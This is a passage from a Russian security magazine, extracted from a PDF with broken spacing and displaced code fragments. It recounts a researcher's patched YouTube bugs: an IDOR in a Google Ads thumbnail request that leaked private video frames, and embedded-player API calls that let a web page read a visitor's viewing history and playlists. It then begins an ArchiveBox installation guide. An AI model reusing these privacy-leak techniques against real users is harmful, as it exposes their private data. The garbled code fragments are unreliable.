по спе циаль ной ссыл ке).

3. «Огра ничен ный  дос туп»  (кон тент  видят  толь ко  отдель ные  зарегис три‐ 
рован ные поль зовате ли, которых отме тил вла делец акка унта).

Нас трой ки YouTube поз воля ют огра ничить дос туп к кон тенту

Са мая  инте рес ная,  с  точ ки  зре ния  хакера,  безус ловно,  третья  катего рия
виде оро ликов. В попыт ке прос мотреть заг ружен ное им на собс твен ный акка‐ 
унт  видео  со  ста тусом  «Огра ничен ный  дос туп»  из‐под  дру гой  учет ки  Давид
щел кал по всем кноп кам и ссыл кам на сай те виде охос тинга и пытал ся вся чес‐ 
ки модифи циро вать URL ролика. Но попыт ки ока зыва лись тщет ными: YouTube
с завид ным упорс твом воз вра щал сооб щение об ошиб ке дос тупа.

Тог да иссле дова тель решил пой ти обходным путем. Он руководс тво вал ся
прос той  иде ей,  которую  час то  берут  на  воору жение  пен тесте ры:  если
основной сер вис в дос таточ ной сте пени защищен от  ком про мета ции, могут
отыс кать ся  свя зан ные  с  ним  сто рон ние  сер висы,  исполь зующие  его  API,
или  ресур сы,  у  которых  дела  с  безопас ностью  обсто ят  не  так  хорошо.
В качес тве цели он выб рал сер вис кон текс тной рек ламы Google Ads.

Да вид обра тил вни мание на то, что Google Ads вза имо дей ству ет со мно‐ 
гими  служ бами  Google.  Нап ример,  рек лама,  которая  демонс три рует ся
при  прос мотре  видео  на  YouTube,  нас тра ивает ся  с  помощью  Google  Ads.
Ради  экспе римен та  Шюц  зарегис три ровал  акка унт  в  рек ламном  кабине те
Google и попытал ся нас тро ить рек ламу с исполь зовани ем ID его при ват ного
видео. Безус пешно — сис тема не поз волила про вер нуть такой трюк.

Пос ле это го Шюц при нял ся изу чать име ющиеся в его рас поряже нии нас‐ 
трой ки  рек ламно го  кабине та.  Целью  поис ков  было  что‐нибудь,  име ющее
непос редс твен ное  отно шение  к  YouTube. Сре ди  про чего  в  рек ламном  акка‐ 
унте обна ружил ся раз дел «Видео»  (Video), в котором отоб ража ются исполь‐ 
зуемые  для  рек ламы  ролики.  Щел чок  мышью  на  превью  откры вает  раз дел
«Ана лити ка»  (Analytics),  где  при водят ся  све дения  о  ролике  и  рас полага ется
встро енный про игры ватель. Давид обра тил вни мание на фун кцию «Момен ты»
(Moments) — она поз воля ет рек ламода телю отме чать опре делен ные эпи зоды
на видео. С ее помощью мож но выделить кадр, в котором на экра не демонс‐ 
три рует ся рек ламиру емый про дукт или логотип ком пании, и изу чить дей ствия
поль зовате лей в этот момент. Луч ше все го механизм дей ствия дан ного инс‐ 
тру мен та демонс три рует ани мация, соз данная самим Давидом Шюцем.

Инс тру мент «Момен ты» в рек ламном кабине те Google

Про ана лизи ровав  логи  прок си,  Давид  обна ружил,  что  вся кий  раз,  ког да  он
соз дает  «момент»  в  ролике,  сайт  Google  Ads  отсы лает  POST‐зап рос
на эндпой нт  , тело которо го содер жит ID целево го виде оро‐ 
лика и име ет сле дующий вид:

/GetThumbnails

   POST /aw_video/_/rpc/VideoMomentService/GetThumbnails HTTP/1.1
 Host: ads.google.com

 User‐Agent: Internet‐Explorer‐6
 Cookie: [redacted]

__ar={"X":"kCTeqs1F4ME","Y":"12240","3":"387719230"} 

Па раметр   в стро ке   — это ID целево го ролика, а   — вре мен ная мет ка
отме чен ного момен та в мил лисекун дах. В ответ на этот зап рос сер вер воз‐ 
вра щает  закоди рован ную  в  Base64  кар тинку  —  мини атю ру  кад ра,  который
выб ран в рек ламном кабине те с помощью инс тру мен та «Момен ты». Заменив
в зап росе параметр    на  ID  сво его  «при ват ного»  видео, Давид неожи дан но
для себя получил ответ с закоди рован ным кад ром. Таким обра зом, он обна‐ 
ружил ошиб ку IDOR (Insecure Direct Object Reference), поз воля ющую получить
дос туп к защищен ным нас трой ками при ват ности дан ным. Но с исполь зовани‐ 
ем  уяз вимос ти  иссле дова телю  уда лось  раз добыть  все го  лишь  один  кадр
из час тно го видео. Хороший резуль тат, но явно недос таточ ный.

X __ar Y

X

Да вид решил написать скрипт на Python,  который авто мати чес ки отправ‐ 
ляет  соот ветс тву ющие  зап росы,  сох раня ет  кад ры  из  откли ков  сер вера,
а  затем  заново  собира ет  из  них  пол ноцен ное  видео.  Нес ложные  под сче ты
показа ли: если ролик демонс три рует 24 кад ра в секун ду, то каж дый кадр при‐ 
сутс тву ет на экра не 33 мс. Таким обра зом, скрипт дол жен пос ледова тель но
сох ранять кад ры с интерва лом в 33 мс, а потом ском поновать из получен ных
изоб ражений какое‐нибудь инте рес ное кино.

Ра боту соз данно го им proof of concept Давид Шюц запечат лел в виде оро‐ 
лике,  который  выложил  на  том  же  YouTube.  Скрипт  вытас кива ет  кад ры
из  пред варитель но  сох ранен ного Шюцем  при ват ного  ролика  и  вос созда ет
его  пер вый  трех секун дный  отре зок.  Изоб ражение  получа ется  мел ким,  раз‐ 
мытым и не слиш ком качес твен ным, но детали на нем рас смот реть все рав но
мож но. Это успех!

Оче вид но,  что исполь зование это го метода име ет  три серь езных огра ниче‐ 
ния.  Во‐пер вых,  необ ходимо  знать  ID  при ват ного  видео,  которое  зло умыш‐ 
ленник  пыта ется  стя нуть.  Во‐вто рых,  спо соб  не  поз воля ет  сох ранять  ауди‐ 
одо рож ку, толь ко виде оряд, да и то сом нитель ного качес тва. В‐треть их, мел‐ 
кие детали на таком видео рас смот реть решитель но невоз можно.

Да вид Шюц немед ленно сооб щил в Google о най ден ной им ошиб ке. Через
месяц «Кор порация доб ра» вып латила ему за наход ку 5000 дол ларов, а фун‐ 
кция  «Момен ты»  в  рек ламном  кабине те  была  исправ лена —  теперь  дви жок
про веря ет  пра ва  дос тупа  к  видео  при  обра бот ке  зап росов  из  рек ламно го
кабине та Google. Но Давид решил не оста нав ливать ся на дос тигну том и вско‐ 
ре обна ружил в сер висах YouTube еще один инте рес ный баг.

Я ЗНАЮ, ЧТО ТЫ СМОТРИШЬ!
Вто рой  най ден ный  Давидом  Шюцем  баг  в  гуг лов ских  сер висах  работа ет
еще забав нее. Дос таточ но отпра вить потен циаль ной жер тве ссыл ку на спе‐ 
циаль но соз данную веб‐стра ницу, и все тай ное вне зап но ста новит ся явным.
Зло умыш ленни ку откры вает ся дос туп к исто рии прос мотра видео на YouTube,
ссыл кам на при ват ные ролики, а так же он получа ет в свое рас поряже ние спи‐ 
сок пон равив шихся кли пов и содер жимое раз дела «Пос мотреть поз же» дан‐ 
ного поль зовате ля. Как работа ет эта уяз вимость и как Давид ее нашел? Что‐ 
бы  понять  прин цип  дей ствия  бага,  нуж но  разоб рать ся  в  некото рых  осо бен‐ 
ностях работы YouTube.

Невидимые плей-листы
Да же если ты заходил на YouTube лишь пару раз в жиз ни, что бы пос мотреть
на котиков, будь уве рен: в тво ем акка унте все рав но име ется нес коль ко авто‐ 
мати чес ки  соз данных  плей‐лис тов.  Пер вый  из  них,  с  иден тифика тором 
(History List), содер жит исто рию прос мотра. Туда добав ляют ся ссыл ки на все
ролики, которые ты ког да‐либо прос матри вал на YouTube. Дру гой плей‐лист,
озаг лавлен ный    (Watch Later), — это «избран ное»,  в  которое помеща ются
ссыл ки на видео при нажатии поль зовате лем кноп ки «Пос мотреть поз же».

HL

WL

Еще один плей‐лист, содер жащий ссыл ки на пон равив шиеся поль зовате‐ 
лю видео, тре бует отдель ного опи сания. Давид обна ружил его в ходе экспе‐ 
римен тов  с  URL  собс твен ного  канала  на  YouTube.  Иден тифика тор  канала
пред став ляет собой стро ку дли ной 24 сим вола: его мож но узнать, вни матель‐ 
но  пос мотрев  на  адрес  стра ницы  канала.  Нап ример,  если  URL  име ет  вид

,  то  иден‐ 
тифика тор пред став ляет собой стро ку  .
https://www.youtube.com/channel/UCOvX9uEO0a3fZNCK12MAabc

UCOvX9uEO0a3fZNCK12MAabc
Пос ле  ряда  опы тов  со  сво ими  акка унта ми  Давид  при шел  к  выводу,  что

дос туп  к  спис ку  пон равив шегося  видео откры вает ся,  если  заменить пер вые
три  сим вола  в  иден тифика торе  канала  зна чени ем    или  . Ины ми  сло‐ 
вами,  если  иден тифика тор  канала  име ет  зна чение 

,  то  плей‐лист  пон равив шихся  кли пов  будет  иметь  имя 
 или  .

LLB LLD
UCOvX9uEO0a3fZNCK12‐

MAgug LLB‐
vX9uEO0a3fZNCK12MAgug LLDvX9uEO0a3fZNCK12MAgug

Еще один плей‐лист содер жит ссыл ки на все заг ружен ное поль зовате лем
видео вне зависи мос ти от нас тро ек кон фиден циаль нос ти. То есть все обще‐ 
дос тупные ролики, видео с огра ничен ным дос тупом и при ват ное видео хра‐ 
нят ся в одном и том же спис ке. Прин цип име нова ния это го плей‐лис та такой
же,  как в пре дыду щем слу чае,  толь ко исполь зуемый пре фикс име ет вид 
или  .

UUB
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Ка залось бы,  дос таточ но наб рать  в  адресной стро ке бра узе ра URL вида

,  где    —  иден тифика тор
плей‐лис та  с  заг ружен ными  поль зовате лем  ролика ми,  и  мы  получим  ID  его
видео,  вклю чая  при ват ные.  Одна ко  все  не  так  прос то.  Вла делец  канала,
которо му  при над лежит  акка унт,  дей стви тель но  уви дит  пол ный  спи сок  заг‐ 
ружен ного им кон тента. А вот дру гой поль зователь смо жет прос мотреть толь‐ 
ко  ссыл ки  на  пуб личные  видео,  в  то  вре мя  как  при ват ные  ролики  и  ролики
с дос тупом по ссыл ке оста нут ся для него скры тыми.

https://www.youtube.com/playlist?list=xxx xxx

Оче вид но,  что  эти  плей‐лис ты  содер жат  боль шой  объ ем  информа ции,
которая может быть инте рес на зло умыш ленни кам. И на пер вый взгляд кажет‐ 
ся, что доб рать ся до нее не так‐то прос то.

Встраиваемый плеер
Как  извес тно,  добав ленные  на  виде охос тинг  ролики  мож но  прос матри вать
не  толь ко  на  самом  YouTube,  но  и  на  сто рон них  сай тах,  если  заг рузив ший
видео поль зователь не зап ретил подоб ное дей ствие в нас трой ках. Спе циаль‐ 
но  для  это го  сущес тву ет  при ложе ние  . Добавить  пле ер
на  сайт  очень  прос то:  для  это го  дос таточ но  лишь  вста вить  в  веб‐стра ницу
спе циаль ный HTML‐код, содер жащий тег  .

YouTube  Iframe Player

iframe
Нес мотря на кажущу юся прос тоту, про игры ватель име ет собс твен ный API,

поз воля ющий делать с ним вся кие полез ные вещи: нап ример, авто мати чес ки
оста нав ливать  и  возоб новлять  вос про изве дение  видео  или  начинать  показ
с  опре делен ного  момен та.  Реали зует ся  это  с  исполь зовани ем  JavaScript,
а  для  вызова  фун кций  API  раз работ чик  дол жен  под клю чить  на  сво ем  сай те
спе циаль ную JS‐биб лиоте ку.

Для вза имо дей ствия меж ду веб‐стра ницей и про игры вате лем исполь зует‐ 
ся  встро енная  в  бра узер  тех нология  . Она  поз воля ет  обме‐ 
нивать ся дан ными сай там с айфрей мами, содер жимое которых заг ружа ется
с дру гого домена. Работа ет это так. В пле ер встро ен спе циаль ный слу шатель
PostMessage,  ожи дающий  вхо дящих  команд.  Коман ды  отправ ляет
по  защищен ному  каналу  под клю чен ная  к  стра нице  JS‐биб лиоте ка,  ког да
поль зователь  выпол няет  то  или  иное  дей ствие,  нап ример  ста вит  видео
на  паузу.  Но  эта  связь  двус торон няя:  пле ер  так же  может  переда вать  биб‐ 
лиоте ке  сооб щения о  событи ях. Давид Шюц  утвер жда ет,  что YouTube  Iframe
Player  бол тает  без  умол ку,  даже  ког да  его  ник то  ни  о  чем  не  спра шива ет,
и рас ска зыва ет всем и каж дому о сво ем внут реннем мире. Это, в свою оче‐ 
редь, поз воля ет помес тить на веб‐стра нице слу шате ли, нас тро енные на раз‐ 
личные  события.  Нап ример,  слу шатель  может  вызывать ся,  ког да  поль‐ 
зователь откры вает веб‐стра ницу и запус кает вос про изве дение ролика.

PostMessageAPI

Да вид  Шюц  при водит  такой  при мер  подоб ного  вза имо дей ствия.  Ког да
в айфрей ме на веб‐стра нице встро енный пле ер начина ет  вос про изве дение
видео, вызыва ется коман да API  . При этом сайт переда‐ 
ет в айфрейм такое сооб щение:

player.playVideo()

{
 "event":"command",
 "func":"playVideo",
 "args":[],
 "id":1,
 "channel":"widget"

}

В ответ пле ер воз вра щает сай ту целую кучу информа ции:

{
 "event":"infoDelivery",
 "info":{
   "playerState":‐1,
   "currentTime":0,
   "duration":1344,
   "videoData":{
     "video_id":"M7lc1UVf‐VE",
     "author":"",
     "title":"YouTube Developers Live: Embedded Web Player 
Customization"
   },
   "videoStartBytes":0,
   "videoBytesTotal":1,
   "videoLoadedFraction":0,
   "playbackQuality":"unknown",
   "availableQualityLevels":[],
   "currentTimeLastUpdated_":1610191891.79,
   "playbackRate":1,
   "mediaReferenceTime":0,
   "videoUrl":"https://www.youtube.com/watch?v=M7lc1UVf‐VE",
   "playlist":null,
   "playlistIndex":‐1
 },
 "id":1
 ,"channel":"widget"

}
{
 "event":"onStateChange",
 "info":‐1,
 "id":1,
 "channel":"widget"

}

JS‐биб лиоте ка от YouTube слу жит сво его рода уров нем абс трак ции, поз воля‐ 
ющим веб‐раз работ чику прос то помес тить про игры ватель на стра нице сво‐ 
его сай та и боль ше ни о чем не бес поко ить ся. Весь упо мяну тый выше «обмен
любез ностя ми»  про исхо дит  скры то,  «под  капотом»,  и  мно гие  поль зовате ли
о  сущес тво вании  подоб ных  вещей  даже  не  догады вают ся.  Но  при  желании
мож но  выз вать  нуж ные  фун кции  API  без  вся ких  биб лиотек,  нап рямую,
с исполь зовани ем обыч ного JavaScript. Что и попытал ся сде лать Давид Шюц.

Нап ример, что бы перех ватывать все сооб щения PostMessageAPI, которые
пле ер переда ет веб‐стра нице, и жур налиро вать их в кон соли, мож но исполь‐ 
зовать такой слу шатель:

 window.addEventListener("message", function(event){console.log(event.
data)})

Меж ду  тем  API  про игры вате ля  от  YouTube  поз воля ет  делать  мно го  дру гих
любопыт ней ших  вещей,  кро ме  управле ния  вос про изве дени ем  ролика.  Ска‐ 
жем,  с  помощью  встро енно го  в  биб лиоте ку  метода 

 мож но заг ружать во встра иваемый про игры ватель плей‐лис ты
с опре делен ным  ID. Пос ле это го дос таточ но выз вать фун кцию  ,
и  в  айфрей ме  нач нет  вос про изво дить ся  пер вое  видео  из  плей‐лис та,
по  окон чании  которо го  будет  авто мати чес ки  заг ружено  сле дующее,  и  так
далее по спис ку.

player.loadPlaylist(
playlist_id)

playVideo()

В  JS‐биб лиоте ке  име ется  еще  один  полез ный  метод,  поз воля ющий
получить дан ные виде оро ликов из опре делен ного плей‐лис та, — он называ‐ 
ется  . Он  воз вра щает мас сив,  сос тоящий  из  ID  всех
видео в заг ружен ном плей‐лис те, нап ример так:

player.getPlaylist()

 > player.getPlaylist()

         Array(20) [ "KxgcVAuem8g", "U_OirTVxiFE", "rbez_1MEhdQ", "VpC9qeKUJ00
",

                "LnDjm9jhkoc", "BQIOEdkivao", "layKyzA1ABc", "‐Y9gdQnt7zs
",

              "U_OX5vQ567Y", "ghOqpVet1uQ", ...]

При вос про изве дении видео iframe со встро енным про игры вате лем переда ет
веб‐стра нице боль шой объ ем дан ных, сре ди которых осо бого вни мания зас‐ 
лужива ет  объ ект  .  В  нем  содер жится  мас сив  дан ных  о  про игры‐ 
ваемом в дан ный момент ролике, вклю чая его наз вание, имя авто ра и ID:

videoData

 > player.getVideoData()
         Object { video_id: "KxgcVAuem8g", author: "LiveOverflow2",

            title: "Astable 555 timer ‐ Clock Module", video_quality: "
medium",

     
 

       video_quality_features: [], list: "
PLGPckJAmiZCTyI72iI2KaJxkp‐vUKBlTi" }

При меча тель но,  что  све дения  об  этом  объ екте  отсутс тву ют  в  офи циаль ной
докумен тации  YouTube,  пос коль ку  некото рое  вре мя  назад  обра баты вающая
его фун кция  была  уда лена  из  JS‐биб лиоте ки.  Тем  не  менее  про игры ватель
по  зап росу  все  рав но  отправ ляет  дан ные    на  веб‐стра ницу.
Соот ветс твен но,  они  могут  быть  получе ны  и  обра бота ны  с  помощью  обыч‐ 
ного JavaScript. Давид Шюц нашел информа цию о том, что ука зан ная фун кция
все еще жива (хоть и дав ным‐дав но выпиле на из биб лиоте ки), на Stack Over‐
flow. Чем и решил вос поль зовать ся в сво их экспе римен тах.

VideoData()

То самое сооб щение, вдох новив шее Давида про дол жать иссле дова ния

А теперь самое инте рес ное. Если поль зователь авто ризо ван на YouTube, ког‐ 
да  он  откро ет  любой  сайт  со  встро енным  пле ером,  этот  пле ер  так же  авто‐ 
мати чес ки авто ризу ется в его акка унте. И все прос мотрен ные юзе ром на сто‐ 
рон нем сай те ролики тут же попада ют в плей‐лист   (History List), о котором
уже рас ска зыва лось чуть рань ше. Ины ми сло вами, про игры ватель име ет пол‐ 
ный  дос туп  к  акка унту  юзе ра  на  виде охос тинге.  А  соз датель  веб‐стра ницы
име ет  фак тичес ки  пол ный  дос туп  к  самому  пле еру  с  исполь зовани ем  его
внут ренне го API. Сме каешь, к чему все это ведет?

HL

Срывая покровы
В  замет ке  на  сво ем  сай те  Давид  Шюц  отме чал,  что  этот  хак  не  тре бует
исполь зования  каких‐то  спе циаль ных  «хакер ских  при емов»,  тут  в  ход  идет
исклю читель но  сооб разитель ность  и  уме ние  обра щать ся  с  JavaScript.  Дей‐ 
стви тель но: дос туп к авто мати чес ки генери руемым плей‐лис там име ет толь ко
вла делец  акка унта  на  YouTube,  а  встра иваемый  пле ер  может  работать
на любом сай те с при виле гиями это го вла дель ца. Прос то как дваж ды два.

Для  про вер ки  сво ей  гипоте зы  Давид  соз дал  однос тра нич ный  сайт
со встро енным YouTube Iframe Player и зас тавил его вос про извести плей‐лист
с исто рией прос мотра    (History List) дру гого сво его акка унта. Все получи‐ 
лось!  Ког да  плей‐лист  заг рузил ся,  Давид  выз вал  фун кцию 

 и получил спи сок ID всех видео в этом плей‐лис те. То есть любой
зло умыш ленник, прис лав кому‐нибудь ссыл ку на свою веб‐стра нич ку, может
получить спи сок роликов, которые этот кто‐то прос матри вал на YouTube. Неп‐ 
лохо, но встра иваемый пле ер поз воля ет без тру да добывать и дру гую полез‐ 
ную информа цию.

HL
player.get‐

Playlist()

Да вид  соз дал  ,  поз воля ющий  с  помощью 
  получить  спи сок  видео,  добав ленных  в  плей‐лист    (Watch

Later)  —  «Пос мотреть  поз же»  и  HL  —  спи сок  прос мотрен ных  видео.  Ана‐ 
логич ным  обра зом  пле ер  на  его  стра нице  под гру жал  плей‐лист  пон равив‐ 
шихся  видео,  а  из  его  наз вания  вос ста нав ливал  ID  канала  поль зовате ля
YouTube,  под менив  пер вые  три  сим вола  в  24‐сим воль ном  иден тифика торе.
Зная  ID  канала,  скрипт  получал  плей‐лист  с  заг ружен ными  поль зовате лем
видео  и  пар сил  его  с  помощью  недоку мен тирован ной  фун кции 

,  получая  заголов ки  роликов  и  про чую  полез ную  информа‐ 
цию о них.

proof  of  concept player.get‐
Playlist() WL

player.
getVideoData()

Proof of concept Давида Шюца

Не кото рая замин ка воз никла у Давида Шюца с лич ными видео поль зовате ля,
зак рытыми  нас трой ками  при ват ности.  Встра иваемый  пле ер  поз воля ет
получить  плей‐лист  «Заг рузки»,  теоре тичес ки  содер жащий  спи сок  всех
роликов, которые юзер залил на YouTube. Но на сто рон них сай тах ID при ват‐ 
ных видео оста ются скры тыми. Зато в этом спис ке отоб ража ется кое‐что дру‐ 
гое. Если ты пом нишь, помимо обще дос тупных и при ват ных видео, на YouTube
еще  име ются  ролики,  дос тупные  исклю читель но  по  ссыл ке. Юзе ры  исполь‐ 
зуют эту фун кцию, если не хотят, что бы заг ружен ное ими видео попало в паб‐ 
лик и индекси рова лось поис ковика ми, но вмес те с тем жела ют поделить ся им
со  сво ими  зна комы ми.  Так  вот,  ID  таких  роликов  тоже  отоб ража ется
в  плей‐лис те  «Заг рузки».  А  зна чит,  мож но  прос мотреть  «полуп риват ные»
видео  юзе ра,  ведь  пле ер  обла дает  теми  же  при виле гиями,  что  и  вла делец
акка унта!  А  еще,  зная  ID,  мож но  сге нери ровать  ссыл ки  на  такие  ролики
и поделить ся ими с общес твен ностью. Неп лохо, прав да?

Да вид  сооб щил  о  сво их  наход ках  в  Google  и  спус тя  некото рое  вре мя
получил  за  свои  изыс кания  воз награж дение  в  раз мере  1337  дол ларов.
Теперь  при  заг рузке  плей‐лис тов  встра иваемый  пле ер  обра щает ся  за  кон‐ 
тентом  к  эндпой нту  .  Если  про игры ватель
пыта ется  заг рузить  при ват ный  или  «спе циаль ный»  плей‐лист  из  перечис‐ 
ленных  в  этой  статье,  эндпой нт  воз вра щает  ошиб ку.  Вмес те  с  тем  баг
с  недоку мен тирован ной  фун кци ей    был  акту ален
еще  какое‐то  вре мя,  но  пос ле  пов торно го  пись ма  в  Google  раз работ чики
залата ли и эту дыру.

/list_ajax?list=[playlist‐id]

player.getVideoData()

ВЫВОДЫ
Об наружен ные и опи сан ные Давидом Шюцем баги показы вают, что источни‐ 
ком  уяз вимос тей  может  стать  вза имо дей ствие  нес коль ких  про дук тов,  раз‐ 
работ кой которых занима ются раз ные коман ды одной и той же ком пании —
как это было с YouTube и Google Ads. Это тот самый слу чай, ког да пра вая рука
не зна ет, что дела ет левая. В резуль тате воз можны утеч ки, которые зло умыш‐ 
ленник может исполь зовать в сво их целях.

Сам  Давид  пишет:  «Пос ле  того  как  вы  некото рое  вре мя  про тес тиру ете
про дукт и пой мете, как он работа ет внут ри, ста новит ся более эффектив ной (и
увле катель ной)  попыт ка  выпол нить  какие‐нибудь  неожи дан ные  дей ствия,
которых раз работ чики, воз можно, не пре дус мотре ли. Чем луч ше вы понима‐ 
ете сис тему, тем боль ше у вас появ ляет ся идей, как ее сло мать».

Неп лохой  под ход  —  тес тировать  толь ко  что  появив шиеся  фичи  и  тех‐ 
нологии,  которые  соз датели  еще  не  успе ли  тол ком  отла дить.  «Но  опять  же,
даже в самых надеж ных и хорошо про тес тирован ных сис темах есть шанс, что
прос тая  замена  иден тифика тора  в  зап росе  при ведет  к  кри тичес кой  ошиб‐ 
ке», — говорит Давид.

mailto:valentin@holmogorov.ru
https://xdavidhu.me/
https://www.youtube.com/watch?v=G3bNbYRTxZM
https://developers.google.com/youtube/iframe_api_reference
https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
https://gist.github.com/xdavidhu/de4906058c1d6d2031933f9847634130
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ТРЮКИ

Каж дый  из  нас  стал кивал ся  с  таким:  находишь  инте рес ный
сайт, добав ляешь адрес в «Избран ное», собира ясь как сле‐ 
дует  изу чить  его  поз же,  а  спус тя  какое‐то  вре мя  воз вра‐ 
щаешь ся и  видишь на  экра не ошиб ку 404. Мож но поис кать
без вре мен но  почив ший  кон тент  в  кеше  поис ковых  сис тем
или  в  широко  извес тном  « ».  Но  туда  выг‐ 
ружа ется  далеко  не  все  содер жимое  сай та:  мно гие  изоб‐ 
ражения, скрип ты и виде оро лики навер няка ока жут ся недос‐ 
тупны. Что бы избе жать подоб ных неп рият ностей, сущес тву ет
бес плат ный  инс тру мент  ,  о  котором  мы  сегод ня
и погово рим.

ин тернет‐архи ве

ArchiveBox

Нес мотря  на  то  что  « »  по  пра ву  счи тает ся  одним  из  самых
популяр ных инс тру мен тов поис ка «потерян ных» и уда лен ных веб‐стра ниц, он
име ет ряд серь езных огра ниче ний.

ин тернет‐архив

Во‐пер вых, он не индекси рует стра ницы в Facebook, «ВКон такте» и дру гих
соц сетях.

•

Во‐вто рых, в веб‐архив попада ют далеко не все раз делы сай та.•
В‐треть их,  туда  не  добав ляют ся  ресур сы  и  их  раз делы,  зак рытые
от индекса ции соот ветс тву ющей инс трук цией в фай ле  .

•
robots.txt

В‐чет вертых,  в  архив  точ но  не  попадут  пред назна чен ные  для  ска чива ния
фай лы, видео‐ и ауди оро лики и про чие подоб ные эле мен ты.

•

На конец,  если  отоб ража емый  кон тент  сай та  динами чес ки  соз дает ся
с помощью JavaScript или дру гих подоб ных инс тру мен тов, при сох ранении
он  может  час тично  утра тить ся  или  «поломать ся»  —  в  резуль тате  копия
веб‐стра ницы будет выг лядеть сов сем не так, как ори гинал. То же самое,
кста ти,  каса ется  веб‐стра ниц,  сох раня емых  из  интерне та  на  локаль ной
машине стан дар тны ми средс тва ми бра узе ра.

•

Нап рашива ется вывод: нужен аль тер натив ный инс тру мент, который поз волит
соз давать  копию  выб ранных  сай тов,  при чем  смо жет  делать  это  быс тро,
качес твен но и надеж но.

Имен но для это го и был соз дан ArchiveBox. Он поз воля ет сох ранить авто‐ 
ном ный  дуб ликат  любого  сай та  и  выг рузить  в  архив  все  его  содер жимое.
Целевые  веб‐ресур сы мож но  задать  по  спис ку  URL  либо  взять  из  зак ладок
или исто рии бра узе ра. Сай ты будут выг ружены вне зависи мос ти от нас тро ек

, зап реща ющих индекса цию. Вмес те с веб‐стра ница ми сох раня‐ 
ются  кар тинки,  встро енные  видео,  эле мен ты  JavaScript  и  про чее  полез ное
содер жимое.

robots.txt

По луча ется эда кий пер сональ ный «архив интерне та», которым рас поряжа‐ 
ешь ся и управля ешь ты сам. Инс тру мент может быть полезен как в качес тве
аль тер нативы  ска чива нию  веб‐стра ничек  на  собс твен ный  компь ютер,  так
и для иссле дова ния заин тересо вав шего тебя сай та — в архивной копии мож‐ 
но копать ся сколь ко душе угод но, не опа саясь неожи дан ностей.

INFO

Пол ный текст этой статьи дос тупен без под писки
бла года ря спон сору —  ком пании  ,  одно му
из  самых  передо вых  хос тинг‐про вай деров

/VDS‐сер веров. RUVDS пред лага ет вир туаль‐ 
ные  сер веры  в  десяти  дата‐цен трах  уров ня  Tier
3 и выше по все му миру, низ кие цены от 30 руб‐ 
лей  в  месяц,  удоб ный  мар кет плейс  и  уста нов ку
популяр ных обра зов в один клик.

RUVDS

VPS

УСТАНОВКА
Дви жок ArchiveBox написан на Python, исполь зует в сво ей работе Wget и curl
и  рас счи тан  на  работу  в  сре де  Linux  и  macOS,  где  для  него  име ются  все
необ ходимые ком понен ты. Для запус ка ArchiveBox в Windows мож но исполь‐ 
зовать  Docker  —  под робная  инс трук ция  по  раз верты ванию  обра за  есть
на  .  Мы  же  будем  нас тра ивать  ArchiveBox  в  Linux,  для  чего
исполь зуем  вир туаль ный  сер вер:  это  обес печит  высокос корос тной  канал
свя зи с интерне том и дол жное быс тро дей ствие, одновре мен но изба вив нас
от  необ ходимос ти  городить  ого род  с  уста нов кой  вир туаль ной  машины.
В  качес тве  опе раци онной  сис темы  была  выб рана  Ubuntu  20.04  LTS  (в  этой
вер сии  Python  вклю чен  в  базовую  пос тавку  сис темы),  но  подой дет,  в  прин‐ 
ципе, любой рас простра нен ный дис три бутив Linux.

GitHub  про екта

Вот такую кон фигура цию сер вера мы выб рали для уста нов ки ArchiveBox

Итак,  для  ArchiveBox  необ ходим  преж де  все го  Python,  поэто му  для  начала
зай дем на сер вер и пос мотрим, какая вер сия уста нов лена в нашей сис теме:

python3 ‐V

Нам нуж на вер сия не ниже 3.7. Сис тема радос тно отра пор товала, что на сер‐ 
вере  уста нов лен  Python  3.8.5,  поэто му  обновлять  его  не  при дет ся.  Если же
на тво ей машине оби тает прес тарелая змея, обно вить вер сию мож но коман‐ 
дой  .  Что бы  уста новить  Python,  исполь зуй
коман ду  .

sudo  apt‐get  upgrade  python3
sudo apt‐get install python3

Про ще  все го  уста новить ArchiveBox  с  помощью Pip — инс тру мен та,  поз‐ 
воля юще го  заг ружать  пакеты  Python  из  репози тория  Python  Package  Index
(PyPI). Если этот  ком понент отсутс тву ет в сис теме, его необ ходимо сна чала
уста новить. Для это го выпол ним в тер минале сле дующие коман ды:

apt update sudo 
python3‐pip sudo apt‐get install 

Обыч но в ком плек те с Python 3 идет модуль Pip 3, но на вся кий слу чай давай
про верим, какая вер сия Pip уста нов лена в сис теме:

pip3 ‐‐version

В нашем слу чае сер вер отра пор товал, что вер сия име ет номер 20.0.2, и как
минимум мы убе дились, что Pip 3 в сис теме при сутс тву ет. Отлично, уста нав‐ 
лива ем сам ArchiveBox:

pip3  archivebox install 

Ус танов ка ArchiveBox

INFO

На  локаль ной  машине  с  Linux  уста нов ку  Archive‐
Box нуж но запус кать с исполь зовани ем  .sudo

ArchiveBox  не  работа ет  из‐под  поль зовате ля  ,  поэто му  для  него  нуж но
соз дать  отдель ного юзе ра  с  помощью  коман ды  .  Теперь
от име ни уже это го поль зовате ля соз даем рабочую пап ку, в которую Archive‐
Box будет скла дывать заг ружен ные сай ты:

root
adduser username

  archives mkdir archives && cd 
archivebox init 

На  этом  про цеду ра  уста нов ки  и  нас трой ки  инс тру мен та  закон чена,  мож но
перехо дить к его исполь зованию.

АРХИВИРУЕМ САЙТЫ
Все коман ды ArchiveBox име ют общий вид

  parameter] $ archivebox [command] [

где    —  непос редс твен но  коман да,  а    —  опци ональ ный
ключ. Для добав ления сай та в архив слу жит коман да  . Так, что бы соб рать
под шивку нашего любимо го жур нала, нуж но наб рать в тер минале

command parameter
add

$ archivebox add 'https://xakep.ru'

ArchiveBox авто мати чес ки соз даст в сво ей рабочей пап ке суб дирек торию 
, в которую будет скла дывать ска чан ные сай ты — каж дый в сво ей вло‐ 

жен ной пап ке. В этой же пап ке будет соз дан файл  ,  куда добав‐ 
ляет ся общая информа ция о заар хивиро ван ном сай те, чис ле соб ранных фай‐ 
лов и их типе. На локаль ной машине его мож но открыть в бра узе ре; если же
мы  исполь зуем  VPS,  этот  файл  нам  не  слиш ком  поможет,  зато  мы  смо жем
прос мотреть содер жимое пап ки с архи вом в тер минале.

ar‐
chive

index.html

Со дер жимое рабочей пап ки ArchiveBox

По умол чанию ArchiveBox сох раня ет в архив толь ко веб‐стра ницу, ука зан ную
в задан ном URL. Но мож но зас тавить его выпол нить рекур сивный обход всех
ссы лок  на  этой  стра нице  с  ука зан ной  глу биной  прос мотра  и  добавить  туда
все, что по этим самым ссыл кам будет най дено. Для это го слу жит параметр 

,  где    —  глу бина  прос мотра  ссы лок.  Нап ример,  для  того  что бы
